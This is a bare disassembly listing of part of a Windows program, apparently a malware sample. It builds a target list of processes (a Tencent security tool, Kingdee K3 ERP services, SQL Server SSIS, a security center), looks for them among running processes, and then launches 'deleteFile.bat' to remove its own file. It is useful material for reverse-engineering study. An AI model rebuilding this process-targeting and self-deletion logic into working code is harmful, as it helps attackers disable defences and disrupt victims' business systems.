push str.QQPCTray.exe
lea ecx, [ebp - 0x99c]
mov byte [ebp - 4], 0xc6
call fcn.004521f0
push str.QQPCRealTimeSpeedup.exe
lea ecx, [ebp - 0x984]
mov byte [ebp - 4], 0xc7
call fcn.004521f0
push str.UserUncServer.exe
lea ecx, [ebp - 0x96c]
mov byte [ebp - 4], 0xc8
call fcn.004521f0
push str.CASUncline.exe
lea ecx, [ebp - 0x954]
mov byte [ebp - 4], 0xc9
call fcn.004521f0
push str.KDHRServices.exe
lea ecx, [ebp - 0x93c]
mov byte [ebp - 4], 0xca
call fcn.004521f0
push str.K3MMainSuspendService.exe
lea ecx, [ebp - 0x924]
mov byte [ebp - 4], 0xcb
call fcn.004521f0
push str.K3MobileService.exe
lea ecx, [ebp - 0x90c]
mov byte [ebp - 4], 0xcc
call fcn.004521f0
push str.KCCoreServer.exe
lea ecx, [ebp - 0x8f4]
mov byte [ebp - 4], 0xcd
call fcn.004521f0
mov byte [ebp - 4], 0xce
lea ecx, [ebp - 0x8dc]
push str.KCEasyPrint.exe
call fcn.004521f0
push str.KCGatewayX64.exe
lea ecx, [ebp - 0x8c4]
mov byte [ebp - 4], 0xcf
call fcn.004521f0
push str.Kingdee.K3.HR.Server.exe
lea ecx, [ebp - 0x8ac]
mov byte [ebp - 4], 0xd0
call fcn.004521f0
push str.KDSvrMgrService.exe
lea ecx, [ebp - 0x894]
mov byte [ebp - 4], 0xd1
call fcn.004521f0
push str.KTCloudGuardianX64.exe
lea ecx, [ebp - 0x87c]
mov byte [ebp - 4], 0xd2
call fcn.004521f0
push str.KTCloudPlatform2X64.exe
lea ecx, [ebp - 0x864]
mov byte [ebp - 4], 0xd3
call fcn.004521f0
push str.MsDtsSrvr.exe
lea ecx, [ebp - 0x84c]
mov byte [ebp - 4], 0xd4
call fcn.004521f0
push str.SESecurityCenter.exe
lea ecx, [ebp - 0x834]
mov byte [ebp - 4], 0xd5
call fcn.004521f0
push str.SufAppServer.exe
lea ecx, [ebp - 0x81c]
mov byte [ebp - 4], 0xd6
call fcn.004521f0
push str.Web1800ClientLiteService.exe
lea ecx, [ebp - 0x804]
mov byte [ebp - 4], 0xd7
call fcn.004521f0
push str.GNAupdaemon.exe
lea ecx, [ebp - 0x7ec]
mov byte [ebp - 4], 0xd8
call fcn.004521f0
push str.SCMainFrame.exe
lea ecx, [ebp - 0x7d4]
mov byte [ebp - 4], 0xd9
call fcn.004521f0
push str.K3KBService.exe
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xda
call fcn.004521f0
push str.ImtsEventSvr.exe
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xdb
call fcn.004521f0
push str.RapAgent.exe
lea ecx, [ebp - 0x78c]
mov byte [ebp - 4], 0xdc
call fcn.004521f0
push str.browser_assistant.exe
lea ecx, [ebp - 0x774]
mov byte [ebp - 4], 0xdd
call fcn.004521f0
lea ecx, [ebp - 0x105c]
mov byte [ebp - 4], 0xde
lea eax, [ebp - 0x75c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x180]
call fcn.00451ba0
push fcn.00452050
push 0x60
push 0x18
lea eax, [ebp - 0x105c]
mov byte [ebp - 4], 0xe0
push eax
call fcn.005815fa
lea ecx, [ebp - 0x180]
call fcn.0044d070
test al, al
jne 0x451809
mov edx, str.No_matching_processes_found.
mov ecx, 0x6381f8
call fcn.00456e00
push eax
call fcn.004570b0
add esp, 4
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x1ec]
push eax
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x168]
push eax
lea edx, [ebp - 0x174]
lea ecx, [ebp - 0x150]
call fcn.0044dad0
add esp, 0x10
call fcn.0044e610
push 0x104
lea eax, [ebp - 0x144]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4518c8
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x1bc]
call fcn.004521f0
push ecx
push 0x62f0c8
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 0xe1
call fcn.00451dd0
cmp eax, 0xffffffff
je 0x4518b9
push eax
push 0
lea eax, [ebp - 0x624]
push eax
lea ecx, [ebp - 0x1bc]
call fcn.00451d90
push eax
lea ecx, [ebp - 0x1bc]
call fcn.004520c0
lea ecx, [ebp - 0x624]
call fcn.00452050
lea ecx, [ebp - 0x1bc]
call fcn.0044e9d0
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 0xe0
call fcn.00452050
call fcn.0044ec80
call fcn.0044e050
push str.start__min_deleteFile.bat
lea ecx, [ebp - 0x21c]
call fcn.004521f0
lea ecx, [ebp - 0x21c]
call fcn.00451e10
push eax
call fcn.0058a8d5
add esp, 4
lea ecx, [ebp - 0x21c]
call fcn.00452050
lea ecx, [ebp - 0x180]
call fcn.00453be0
lea ecx, [ebp - 0x15c]
call fcn.00453be0
lea ecx, [ebp - 0x168]
call fcn.00453be0
lea ecx, [ebp - 0x174]
call fcn.00453be0
lea ecx, [ebp - 0x150]
call fcn.00453be0
lea ecx, [ebp - 0x1a4]
call fcn.00452050
lea ecx, [ebp - 0x1d4]
call fcn.00452050
lea ecx, [ebp - 0x234]
call fcn.00452050
lea ecx, [ebp - 0x1ec]
call fcn.00452050
lea ecx, [ebp - 0x204]
call fcn.00452050
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00581392
mov esp, ebp
pop ebp
ret